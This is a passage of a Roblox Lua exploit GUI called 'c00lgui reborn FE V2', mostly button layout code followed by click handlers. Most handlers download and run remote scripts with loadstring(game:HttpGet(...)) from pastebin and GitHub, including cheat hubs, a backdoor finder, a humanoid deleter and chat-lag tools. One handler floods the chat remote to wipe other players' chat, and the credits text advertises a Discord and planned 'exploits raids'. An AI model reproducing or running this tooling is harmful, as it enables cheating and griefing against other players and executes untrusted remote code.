  632. oldcons.Text = "Old console"
  633. oldcons.TextColor3 = Color3.fromRGB(255, 255, 255)
  634. oldcons.TextSize = 14.000
  635. oldcons.TextWrapped = true
  636.  
  637. oldcursor.Name = "oldcursor"
  638. oldcursor.Parent = robloxoldstyle
  639. oldcursor.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  640. oldcursor.BorderColor3 = Color3.fromRGB(255, 0, 0)
  641. oldcursor.BorderSizePixel = 3
  642. oldcursor.Position = UDim2.new(0, 0, 0, 132)
  643. oldcursor.Size = UDim2.new(0.479999989, 0, 0, 30)
  644. oldcursor.ZIndex = 2
  645. oldcursor.Font = Enum.Font.SourceSans
  646. oldcursor.Text = "Old cursor"
  647. oldcursor.TextColor3 = Color3.fromRGB(255, 255, 255)
  648. oldcursor.TextSize = 14.000
  649. oldcursor.TextWrapped = true
  650.  
  651. no5.Name = "no5"
  652. no5.Parent = robloxoldstyle
  653. no5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  654. no5.BorderColor3 = Color3.fromRGB(255, 0, 0)
  655. no5.BorderSizePixel = 3
  656. no5.Position = UDim2.new(0, 75, 0, 132)
  657. no5.Size = UDim2.new(0.5, 0, 0, 30)
  658. no5.ZIndex = 2
  659. no5.Font = Enum.Font.SourceSans
  660. no5.Text = ""
  661. no5.TextColor3 = Color3.fromRGB(255, 255, 255)
  662. no5.TextSize = 14.000
  663. no5.TextWrapped = true
  664.  
  665. no3.Name = "no3"
  666. no3.Parent = robloxoldstyle
  667. no3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  668. no3.BorderColor3 = Color3.fromRGB(255, 0, 0)
  669. no3.BorderSizePixel = 3
  670. no3.Position = UDim2.new(0, 1, 0, 165)
  671. no3.Size = UDim2.new(0.479999989, 0, 0, 30)
  672. no3.ZIndex = 2
  673. no3.Font = Enum.Font.SourceSans
  674. no3.Text = ""
  675. no3.TextColor3 = Color3.fromRGB(255, 255, 255)
  676. no3.TextSize = 14.000
  677. no3.TextWrapped = true
  678.  
  679. no2.Name = "no2"
  680. no2.Parent = robloxoldstyle
  681. no2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  682. no2.BorderColor3 = Color3.fromRGB(255, 0, 0)
  683. no2.BorderSizePixel = 3
  684. no2.Position = UDim2.new(0, 75, 0, 165)
  685. no2.Size = UDim2.new(0.5, 0, 0, 30)
  686. no2.ZIndex = 2
  687. no2.Font = Enum.Font.SourceSans
  688. no2.Text = ""
  689. no2.TextColor3 = Color3.fromRGB(255, 255, 255)
  690. no2.TextSize = 14.000
  691. no2.TextWrapped = true
  692.  
  693. no.Name = "no"
  694. no.Parent = robloxoldstyle
  695. no.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  696. no.BorderColor3 = Color3.fromRGB(255, 0, 0)
  697. no.BorderSizePixel = 3
  698. no.Position = UDim2.new(0, 0, 0, 198)
  699. no.Size = UDim2.new(0.479999989, 0, 0, 30)
  700. no.ZIndex = 2
  701. no.Font = Enum.Font.SourceSans
  702. no.Text = ""
  703. no.TextColor3 = Color3.fromRGB(255, 255, 255)
  704. no.TextSize = 14.000
  705. no.TextWrapped = true
  706.  
  707. no4.Name = "no4"
  708. no4.Parent = robloxoldstyle
  709. no4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  710. no4.BorderColor3 = Color3.fromRGB(255, 0, 0)
  711. no4.BorderSizePixel = 3
  712. no4.Position = UDim2.new(0, 75, 0, 198)
  713. no4.Size = UDim2.new(0.5, 0, 0, 30)
  714. no4.ZIndex = 2
  715. no4.Font = Enum.Font.SourceSans
  716. no4.Text = ""
  717. no4.TextColor3 = Color3.fromRGB(255, 255, 255)
  718. no4.TextSize = 14.000
  719. no4.TextWrapped = true
  720.  
  721. PageLabel_2.Name = "PageLabel"
  722. PageLabel_2.Parent = robloxoldstyle
  723. PageLabel_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  724. PageLabel_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
  725. PageLabel_2.BorderSizePixel = 3
  726. PageLabel_2.Position = UDim2.new(0, 0, 1, -30)
  727. PageLabel_2.Size = UDim2.new(2, 0, 0, 30)
  728. PageLabel_2.ZIndex = 2
  729. PageLabel_2.Font = Enum.Font.SourceSans
  730. PageLabel_2.Text = "Page 2"
  731. PageLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  732. PageLabel_2.TextSize = 18.000
  733. PageLabel_2.TextWrapped = true
  734.  
  735. Page3.Name = "Page3"
  736. Page3.Parent = Frame
  737. Page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  738. Page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
  739. Page3.BorderSizePixel = 3
  740. Page3.Position = UDim2.new(0, 0, 0, 83)
  741. Page3.Size = UDim2.new(1, 0, 1, -106)
  742. Page3.Visible = false
  743. Page3.ZIndex = 2
  744.  
  745. End.Name = "End"
  746. End.Parent = Page3
  747. End.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  748. End.BorderColor3 = Color3.fromRGB(255, 0, 0)
  749. End.BorderSizePixel = 3
  750. End.Position = UDim2.new(-0.00999999978, 3, 0, 0)
  751. End.Size = UDim2.new(1.00999999, -3, 1, 0)
  752. End.ZIndex = 2
  753.  
  754. Text.Name = "Text"
  755. Text.Parent = End
  756. Text.Active = true
  757. Text.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  758. Text.BorderColor3 = Color3.fromRGB(255, 0, 0)
  759. Text.BorderSizePixel = 3
  760. Text.Position = UDim2.new(-0.0012245687, 0, 0.112244904, 0)
  761. Text.Size = UDim2.new(1.00122452, 0, 0.897959173, 0)
  762. Text.ZIndex = 2
  763. Text.Font = Enum.Font.SourceSans
  764. Text.LineHeight = 0.990
  765. Text.Text = "Thank you for using c00lgui reborn FE V2. \\n\\nNeed support or changelogs? \\n\\nJoin us : discord.gg/92Wb8yGEh9\\n\\nPrepare for 12/07/2022 exploits raids! \\n\\nSpecial thanks to : Mokny, USD317, NiceMan \\nAnd everyone from team c00lkidd! \\n\\nShoutout to MasterMZ for showcasing the script!"
  766. Text.TextColor3 = Color3.fromRGB(255, 255, 255)
  767. Text.TextSize = 19.000
  768. Text.TextWrapped = true
  769. Text.TextYAlignment = Enum.TextYAlignment.Top
  770.  
  771. PageLabel_3.Name = "PageLabel"
  772. PageLabel_3.Parent = Page3
  773. PageLabel_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  774. PageLabel_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
  775. PageLabel_3.BorderSizePixel = 3
  776. PageLabel_3.Position = UDim2.new(0, 0, 0.102040827, -30)
  777. PageLabel_3.Size = UDim2.new(1, 0, 0, 30)
  778. PageLabel_3.ZIndex = 2
  779. PageLabel_3.Font = Enum.Font.SourceSans
  780. PageLabel_3.Text = "Credits"
  781. PageLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  782. PageLabel_3.TextSize = 18.000
  783. PageLabel_3.TextWrapped = true
  784.  
  785. CloseOpen.Name = "Close/Open"
  786. CloseOpen.Parent = c00lguiFE
  787. CloseOpen.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  788. CloseOpen.BorderColor3 = Color3.fromRGB(255, 0, 0)
  789. CloseOpen.BorderSizePixel = 3
  790. CloseOpen.Position = UDim2.new(0, 3, 0.300000012, 380)
  791. CloseOpen.Size = UDim2.new(0, 300, 0, 20)
  792. CloseOpen.ZIndex = 3
  793. CloseOpen.Font = Enum.Font.SourceSans
  794. CloseOpen.Text = "Close"
  795. CloseOpen.TextColor3 = Color3.fromRGB(255, 255, 255)
  796. CloseOpen.TextSize = 18.000
  797.  
  798. -- Scripts:
  799.  
  800. local function LHCAB_fake_script() -- back.LocalScript
  801.     local script = Instance.new('LocalScript', back)
  802.  
  803.     script.Parent.MouseButton1Click:Connect(function()
  804.         if script.Parent.Parent.Page1.Visible == true then
  805.             script.Parent.Parent.Page1.Visible = false
  806.             script.Parent.Parent.Page2.Visible = false
  807.             script.Parent.Parent.Page3.Visible = true
  808.         elseif script.Parent.Parent.Page2.Visible == true then
  809.             script.Parent.Parent.Page2.Visible = false
  810.             script.Parent.Parent.Page1.Visible = true
  811.             script.Parent.Parent.Page3.Visible = false
  812.         elseif script.Parent.Parent.Page3.Visible == true then
  813.             script.Parent.Parent.Page2.Visible = true
  814.             script.Parent.Parent.Page1.Visible = false
  815.             script.Parent.Parent.Page3.Visible = false
  816.            
  817.         end
  818.     end)
  819. end
  820. coroutine.wrap(LHCAB_fake_script)()
  821. local function ZJGJRKT_fake_script() -- next.LocalScript
  822.     local script = Instance.new('LocalScript', next)
  823.  
  824.     script.Parent.MouseButton1Click:Connect(function()
  825.         if script.Parent.Parent.Page1.Visible == true then
  826.             script.Parent.Parent.Page1.Visible = false
  827.             script.Parent.Parent.Page2.Visible = true
  828.             script.Parent.Parent.Page3.Visible = false
  829.         elseif script.Parent.Parent.Page2.Visible == true then
  830.             script.Parent.Parent.Page2.Visible = false
  831.             script.Parent.Parent.Page1.Visible = false
  832.             script.Parent.Parent.Page3.Visible = true
  833.         elseif script.Parent.Parent.Page3.Visible == true then
  834.             script.Parent.Parent.Page2.Visible = false
  835.             script.Parent.Parent.Page1.Visible = true
  836.             script.Parent.Parent.Page3.Visible = false
  837.         end
  838.     end)
  839. end
  840. coroutine.wrap(ZJGJRKT_fake_script)()
  841. local function JFVW_fake_script() -- Owlhub.LocalScript
  842.     local script = Instance.new('LocalScript', Owlhub)
  843.  
  844.     script.Parent.MouseButton1Click:Connect(function()
  845.         loadstring(game:HttpGet("https://raw.githubusercontent.com/CriShoux/OwlHub/master/OwlHub.txt"))();
  846.         end)
  847. end
  848. coroutine.wrap(JFVW_fake_script)()
  849. local function HVYOQG_fake_script() -- topkekremake.LocalScript
  850.     local script = Instance.new('LocalScript', topkekremake)
  851.  
  852.     script.Parent.MouseButton1Click:Connect(function()
  853.         loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
  854.     end)
  855. end
  856. coroutine.wrap(HVYOQG_fake_script)()
  857. local function VHXIX_fake_script() -- Opfinality.LocalScript
  858.     local script = Instance.new('LocalScript', Opfinality)
  859.  
  860.     script.Parent.MouseButton1Click:Connect(function()
  861.         loadstring(game:HttpGet('https://pastebin.com/raw/cdWKjwj8'))()
  862.     end)
  863. end
  864. coroutine.wrap(VHXIX_fake_script)()
  865. local function SAFMH_fake_script() -- ScriptSpy.LocalScript
  866.     local script = Instance.new('LocalScript', ScriptSpy)
  867.  
  868.     script.Parent.MouseButton1Click:Connect(function()
  869.         loadstring(game:HttpGet('https://pastebin.com/raw/yBLDEdDn'))()
  870.     end)
  871. end
  872. coroutine.wrap(SAFMH_fake_script)()
  873. local function QRNKBC_fake_script() -- Dex.LocalScript
  874.     local script = Instance.new('LocalScript', Dex)
  875.  
  876.     script.Parent.MouseButton1Click:Connect(function()
  877.         loadstring(game:HttpGet("https://raw.githubusercontent.com/L8X/ExProDex-V2/main/srcmemcheckbypass.lua", false))()
  878.     end)
  879. end
  880. coroutine.wrap(QRNKBC_fake_script)()
  881. local function EFCKKKW_fake_script() -- Hydroxide.LocalScript
  882.     local script = Instance.new('LocalScript', Hydroxide)
  883.  
  884.     script.Parent.MouseButton1Click:Connect(function()
  885.         local owner = "Upbolt"
  886.         local branch = "revision"
  887.    
  888.         local function webImport(file)
  889.             return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
  890.         end
  891.    
  892.         webImport("init")
  893.         webImport("ui/main")
  894.     end)
  895. end
  896. coroutine.wrap(EFCKKKW_fake_script)()
  897. local function KYWXLCF_fake_script() -- audiologger.LocalScript
  898.     local script = Instance.new('LocalScript', audiologger)
  899.  
  900.     script.Parent.MouseButton1Click:Connect(function()
  901.         loadstring(game:HttpGet('https://pastebin.com/raw/4z9GWRY6'))()
  902.     end)
  903. end
  904. coroutine.wrap(KYWXLCF_fake_script)()
  905. local function EARJXPZ_fake_script() -- InfiniteYieldFE.LocalScript
  906.     local script = Instance.new('LocalScript', InfiniteYieldFE)
  907.  
  908.     script.Parent.MouseButton1Click:Connect(function()
  909.         loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
  910.     end)
  911.    
  912. end
  913. coroutine.wrap(EARJXPZ_fake_script)()
  914. local function SDPG_fake_script() -- HarkedReborn.LocalScript
  915.     local script = Instance.new('LocalScript', HarkedReborn)
  916.  
  917.     script.Parent.MouseButton1Click:Connect(function()
  918.         game:GetService("StarterGui"):SetCore("SendNotification", {
  919.             Title = "Harked reborn Loading",
  920.             Text = "This might take time due to obfuscator",
  921.             Duration = math.huge,
  922.             Button1 = "Ok",
  923.         })
  924.         wait(3)
  925.         loadstring(game:HttpGet("https://lolpippiou.github.io/HarkedReborn/HarkedReborn.lua"))();
  926.     end)
  927. end
  928. coroutine.wrap(SDPG_fake_script)()
  929. local function XEVW_fake_script() -- Backdoorfinder.LocalScript
  930.     local script = Instance.new('LocalScript', Backdoorfinder)
  931.  
  932.     script.Parent.MouseButton1Click:Connect(function()
  933.         loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
  934.     end)
  935.    
  936. end
  937. coroutine.wrap(XEVW_fake_script)()
  938. local function JEVIS_fake_script() -- headfling.LocalScript
  939.     local script = Instance.new('LocalScript', headfling)
  940.  
  941.     script.Parent.MouseButton1Click:Connect(function()
  942.         loadstring(game:HttpGet("https://pastebin.com/raw/BK4Q0DfU"))();
  943.     end)
  944. end
  945. coroutine.wrap(JEVIS_fake_script)()
  946. local function HGDG_fake_script() -- UnanchPlr.LocalScript
  947.     local script = Instance.new('LocalScript', UnanchPlr)
  948.  
  949.     script.Parent.MouseButton1Click:Connect(function()
  950.         loadstring(game:HttpGet("https://pastebin.com/raw/y2yFfXw3", true))();
  951.     end)
  952. end
  953. coroutine.wrap(HGDG_fake_script)()
  954. local function IHKWBG_fake_script() -- Ccanon.LocalScript
  955.     local script = Instance.new('LocalScript', Ccanon)
  956.  
  957.     script.Parent.MouseButton1Click:Connect(function()
  958.         loadstring(game:HttpGet("https://pastebin.com/raw/4hqcYBFb"))();
  959.         end)
  960. end
  961. coroutine.wrap(IHKWBG_fake_script)()
  962. local function FLVKOT_fake_script() -- humanoidel.LocalScript
  963.     local script = Instance.new('LocalScript', humanoidel)
  964.  
  965.     script.Parent.MouseButton1Click:Connect(function()
  966.         loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lrobloxscripts/main/humanoiddeleter.lua"))();
  967.         end)
  968. end
  969. coroutine.wrap(FLVKOT_fake_script)()
  970. local function TLXVNST_fake_script() -- salute.LocalScript
  971.     local script = Instance.new('LocalScript', salute)
  972.  
  973.     script.Parent.MouseButton1Click:Connect(function()
  974.         --- [R6] FE salute ---
  975.         --- Edited by nul#3174 ---
  976.         --- Credits to the unknown original creator ---
  977.    
  978.         local UIS = game:GetService("UserInputService")
  979.         local Posed = false
  980.         local Player = game.Players.LocalPlayer
  981.         local Animation = Instance.new("Animation")
  982.         Animation.AnimationId = "rbxassetid://186434728"
  983.         local Track = Player.Character.Humanoid:LoadAnimation(Animation)
  984.    
  985.    
  986.         local function onRan()
  987.             UIS.InputBegan:Connect(function(input, gameProcessed)
  988.                 if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
  989.                     Posed = true
  990.                     Track:Play()
  991.                     wait(.05)
  992.                     Track:AdjustSpeed(0)
  993.                 elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
  994.                     Posed = false
  995.                     Track:Stop()
  996.                 end
  997.             end)
  998.         end
  999.    
  1000.         onRan()
  1001.    
  1002.         local function onDeath()
  1003.             Player.CharacterAdded:Wait()
  1004.             repeat wait() until Player.Character:FindFirstChild("Humanoid")
  1005.             Track = Player.Character.Humanoid:LoadAnimation(Animation)
  1006.             UIS.InputBegan:Connect(function(input, gameProcessed)
  1007.                 if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
  1008.                     Posed = true
  1009.                     Track:Play()
  1010.                     wait(.05)
  1011.                     Track:AdjustSpeed(0)
  1012.                 elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
  1013.                     Posed = false
  1014.                     Track:Stop()
  1015.                 end
  1016.             end)
  1017.         end
  1018.    
  1019.         Player.Character:WaitForChild("Humanoid").Died:Connect(function()
  1020.             onDeath()
  1021.             onRan()
  1022.         end)
  1023.    
  1024.         Player.CharacterAdded:Connect(function()
  1025.             onDeath()
  1026.             onRan()
  1027.         end)
  1028.         end)
  1029. end
  1030. coroutine.wrap(TLXVNST_fake_script)()
  1031. local function UDMLS_fake_script() -- lagchat.LocalScript
  1032.     local script = Instance.new('LocalScript', lagchat)
  1033.  
  1034.     script.Parent.MouseButton1Click:Connect(function()
  1035.         loadstring(game:HttpGet("https://raw.githubusercontent.com/AnthonyIsntHere/anthonysrepository/main/scripts/ChatLag.lua"))()
  1036.         end)
  1037. end
  1038. coroutine.wrap(UDMLS_fake_script)()
  1039. local function YJSF_fake_script() -- breakchat.LocalScript
  1040.     local script = Instance.new('LocalScript', breakchat)
  1041.  
  1042.     script.Parent.MouseButton1Click:Connect(function()
  1043.         local hint = Instance.new("Hint", workspace)
  1044.         local count = 60
  1045.         repeat
  1046.             hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds"
  1047.             wait(2.5)
  1048.             count = count - 1
  1049.             game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All")
  1050.         until count == 0
  1051.    
  1052.         hint.Text = "The chat should be gone."
  1053.         wait(3)
  1054.         hint:Destroy()
  1055.         end)
  1056. end
  1057. coroutine.wrap(YJSF_fake_script)()
  1058. local function DQVB_fake_script() -- commitoof.LocalScript
  1059.     local script = Instance.new('LocalScript', commitoof)
  1060.  
  1061.     script.Parent.MouseButton1Click:Connect(function()
  1062.         loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
  1063.         end)
  1064. end
  1065. coroutine.wrap(DQVB_fake_script)()
  1066. local function RYJD_fake_script() -- backflip.LocalScript
  1067.     local script = Instance.new('LocalScript', backflip)
  1068.  
  1069.     script.Parent.MouseButton1Click:Connect(function()
  1070.         loadstring(game:HttpGet("https://pastebin.com/raw/DPQzQ6Gi"))();
  1071.         end)
  1072. end
  1073. coroutine.wrap(RYJD_fake_script)()
  1074. local function OKEZBY_fake_script() -- walkonwall.LocalScript
  1075.     local script = Instance.new('LocalScript', walkonwall)
  1076.  
  1077.     script.Parent.MouseButton1Click:Connect(function()
  1078.         loadstring(game:HttpGet("https://pastebin.com/raw/H4c2LpFF"))();
  1079.         end)
  1080. end
  1081. coroutine.wrap(OKEZBY_fake_script)()
  1082. local function FEHH_fake_script() -- blackhole.LocalScript
  1083.     local script = Instance.new('LocalScript', blackhole)
  1084.  
  1085.     script.Parent.MouseButton1Click:Connect(function()
  1086.         loadstring(game:HttpGet("https://pastebin.com/raw/Ug5aA1QL"))();
  1087.         end)
  1088. end
  1089. coroutine.wrap(FEHH_fake_script)()
  1090. local function AAOME_fake_script() -- ClickTP.LocalScript
  1091.     local script = Instance.new('LocalScript', ClickTP)
  1092.  
  1093.     script.Parent.MouseButton1Click:Connect(function()
  1094.         loadstring(game:HttpGet("https://pastebin.com/raw/mJEDExRM"))();
  1095.         end)
  1096. end
  1097. coroutine.wrap(AAOME_fake_script)()
  1098. local function UVDLNK_fake_script() -- autism.LocalScript
  1099.     local script = Instance.new('LocalScript', autism)
  1100.  
  1101.     script.Parent.MouseButton1Click:Connect(function()
  1102.         loadstring(game:GetObjects("rbxassetid://1427263101")[1].Source)();
  1103.         end)
  1104. end
  1105. coroutine.wrap(UVDLNK_fake_script)()
  1106. local function ZRSLPXN_fake_script() -- singtheme.LocalScript
  1107.     local script = Instance.new('LocalScript', singtheme)
  1108.  
  1109.     script.Parent.MouseButton1Click:Connect(function()
  1110.         loadstring(game:HttpGet("https://pastebin.com/raw/eMzcLtLp"))();
  1111.         end)
  1112. end
  1113. coroutine.wrap(ZRSLPXN_fake_script)()
  1114. local function CLRIP_fake_script() -- oldtopbar.LocalScript
  1115.     local script = Instance.new('LocalScript', oldtopbar)
  1116.  
  1117.     script.Parent.MouseButton1Click:Connect(function()
  1118.         if not game:IsLoaded() then
  1119.             game.Loaded:Wait()
  1120.         end
  1121.         wait(0.1)
  1122.    
  1123.         --// variables/modules
  1124.         local CoreGui = game:GetService("CoreGui")
  1125.         local RobloxGui = CoreGui:FindFirstChild("RobloxGui")
  1126.         local UserInputService = game:GetService("UserInputService")
  1127.    
  1128.         local TopBar = game:GetService("CoreGui"):WaitForChild("TopBarApp"):WaitForChild("TopBarFrame")
  1129.         local ChatIcon = TopBar:WaitForChild("LeftFrame"):WaitForChild("ChatIcon"):WaitForChild("Background"):WaitForChild("Icon")
  1130.    
  1131.         local UIS = game:GetService("UserInputService")
  1132.    
  1133.         local function devprint(text)
  1134.             if config.dev then
  1135.                 print(text)
  1136.             end
  1137.         end
  1138.    
  1139.         --// custom assets
  1140.         local getasset = getsynasset or getcustomasset
  1141.         makefolder("2016_storage")
  1142.    
  1143.         writefile("2016_storage/bc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_BC-16.png"))
  1144.         writefile("2016_storage/tbc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_TBC-16.png"))
  1145.         writefile("2016_storage/obc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_OBC-16.png"))
  1146.    
  1147.         local bc_storage = {
  1148.             getasset("2016_storage/bc.png"),
  1149.             getasset("2016_storage/obc.png"),
  1150.             getasset("2016_storage/tbc.png")
  1151.         }
  1152.    
  1153.         --// STYLE:
  1154.         TopBar.Transparency = 0.5
  1155.         TopBar.BorderSizePixel = 0
  1156.         TopBar.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  1157.    
  1158.         TopBar.LeftFrame.ChatIcon.Background.StateOverlay.Image = ""
  1159.         TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = ""
  1160.    
  1161.         TopBar.LeftFrame.MenuIcon.Background.Image = ""
  1162.         TopBar.LeftFrame.ChatIcon.Background.Image = ""
  1163.    
  1164.         TopBar.LeftFrame.Position = UDim2.new(0, 0, 0, 2)
  1165.         TopBar.LeftFrame.Size = UDim2.new(0, 0, 0, 36)
  1166.    
  1167.         TopBar.LeftFrame.MenuIcon.Position = UDim2.new(0, 0, 0, 0)
  1168.         TopBar.LeftFrame.MenuIcon.Size = UDim2.new(0, 50, 0, 36)
  1169.         TopBar.LeftFrame.MenuIcon.Background.Icon.Position = UDim2.new(0, 25, 0, 12)
  1170.         TopBar.LeftFrame.MenuIcon.Background.Icon.Size = UDim2.new(0, 32, 0, 25)
  1171.         game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Position = UDim2.new(0, -8, 0, 18)
  1172.         game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Size = UDim2.new(0, 32, 0, 25)
  1173.    
  1174.         TopBar.LeftFrame.ChatIcon.Position = UDim2.new(0, 0, 0, 0)
  1175.         TopBar.LeftFrame.ChatIcon.Size = UDim2.new(0, 50, 0, 36)
  1176.         TopBar.LeftFrame.ChatIcon.Background.Icon.Position = UDim2.new(0, 14, 0, 13)
  1177.         TopBar.LeftFrame.ChatIcon.Background.Icon.Size = UDim2.new(0, 28, 0, 27)
  1178.    
  1179.         TopBar.LeftFrame.MenuIcon.Background.Icon.Image = "rbxasset://textures/ui/Menu/Hamburger.png"
  1180.    
  1181.         --// cursor
  1182.         local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  1183.         mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png'
  1184.    
  1185.         --// chat scripts
  1186.         game:GetService("RunService").Heartbeat:Connect(function()
  1187.             if game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar:IsFocused() then
  1188.                 game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.BackgroundTransparency = 0.1
  1189.             end
  1190.         end)
  1191.    
  1192.         local function changechatico()
  1193.             if ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOff.png" then
  1194.                 ChatIcon.Image = "rbxasset://textures/ui/Chat/[email protected]"
  1195.             elseif ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOn.png" then
  1196.                 ChatIcon.Image = "rbxasset://textures/ui/Chat/[email protected]"
  1197.             end    
  1198.         end
  1199.    
  1200.         for _,v in pairs(game:GetDescendants()) do
  1201.             if v:IsA("TextLabel") and v.Text == "Chat '/?' or '/help' for a list of chat commands." then
  1202.                 v.Text = "Please chat '/?' for a list of commands"
  1203.             end
  1204.         end
  1205.    
  1206.         changechatico()
  1207.    
  1208.         spawn(function()
  1209.             game:GetService("Players").PlayerChatted:Connect(function(PlayerChatType, sender, message, recipient)
  1210.                 changechatico()
  1211.             end)
  1212.         end)
  1213.    
  1214.         spawn(function()
  1215.             game:GetService("RunService").Heartbeat:Connect(function()
  1216.                 changechatico()
  1217.             end)
  1218.         end)
  1219.    
  1220.         game.RunService.Heartbeat:Connect(function()
  1221.             TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = ""
  1222.             game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.Image = "rbxasset://textures/ui/Menu/HamburgerDown.png"
  1223.             game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectOffset = Vector2.new(0, 0)
  1224.             game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectSize = Vector2.new(0, 0)
  1225.    
  1226.             if TopBar.LeftFrame.ChatIcon:FindFirstChild("BadgeContainer") then
  1227.                 if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge") then
  1228.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.Image = "rbxasset://textures/ui/Chat/MessageCounter.png"
  1229.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectOffset = Vector2.new(0, 0)
  1230.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectSize = Vector2.new(0, 0)
  1231.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner:ClearAllChildren()
  1232.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Position = UDim2.new(0, 15, 0, 2)
  1233.                     TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ScaleType = Enum.ScaleType.Fit
  1234.                     if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge"):FindFirstChild("Background") then
  1235.                         TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Background:Destroy()
  1236.                     end
  1237.                 end
  1238.             end
  1239.         end)
  1240.         end)
  1241. end
  1242. coroutine.wrap(CLRIP_fake_script)()
  1243. local function GQEFNE_fake_script() -- oldcharsounds.LocalScript
  1244.     local script = Instance.new('LocalScript', oldcharsounds)
  1245.  
  1246.     script.Parent.MouseButton1Click:Connect(function()
  1247.         if not game:IsLoaded() then
  1248.             game.Loaded:Wait()
  1249.         end
  1250.         wait(1)
  1251.         local Players = game:GetService("Players")
  1252.         local RunService = game:GetService("RunService")
  1253.         repeat wait() until game.Players.LocalPlayer.Character
  1254.         local SOUND_DATA = {
  1255.             Climbing = {
  1256.                 SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
  1257.                 Looped = true,
  1258.             },
  1259.             Died = {
  1260.                 SoundId = "rbxasset://sounds/uuhhh.mp3",
  1261.             },
  1262.             FreeFalling = {
  1263.                 SoundId = "rbxasset://sounds/swoosh.wav",
  1264.                 Looped = true,
  1265.             },
  1266.             GettingUp = {
  1267.                 SoundId = "rbxasset://sounds/hit.wav",
  1268.             },
  1269.             Jumping = {
  1270.                 SoundId = "rbxasset://sounds/button.wav",
  1271.             },
  1272.             Landing = {
  1273.                 SoundId = "rbxasset://sounds/action_jump_land.mp3",
  1274.             },
  1275.             Splash = {
  1276.                 SoundId = "rbxasset://sounds/impact_water.mp3",
  1277.             },
  1278.             Swimming = {
  1279.                 SoundId = "rbxasset://sounds/action_swim.mp3",
  1280.                 Looped = true,
  1281.                 Pitch = 1.6,
  1282.             },
  1283.         }
  1284.    
  1285.         -- wait for the first of the passed signals to fire
  1286.         local function waitForFirst(...)
  1287.             local shunt = Instance.new("BindableEvent")
  1288.             local slots = {...}
  1289.    
  1290.             local function fire(...)
  1291.                 for i = 1, #slots do
  1292.                     slots[i]:Disconnect()
  1293.                 end
  1294.    
  1295.                 return shunt:Fire(...)
  1296.             end
  1297.    
  1298.             for i = 1, #slots do
  1299.                 slots[i] = slots[i]:Connect(fire)
  1300.             end
  1301.    
  1302.             return shunt.Event:Wait()
  1303.         end
  1304.    
  1305.         -- map a value from one range to another
  1306.         local function map(x, inMin, inMax, outMin, outMax)
  1307.             return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
  1308.         end
  1309.    
  1310.         local function playSound(sound)
  1311.             sound.TimePosition = 0
  1312.             sound.Playing = true
  1313.         end
  1314.    
  1315.         local function shallowCopy(t)
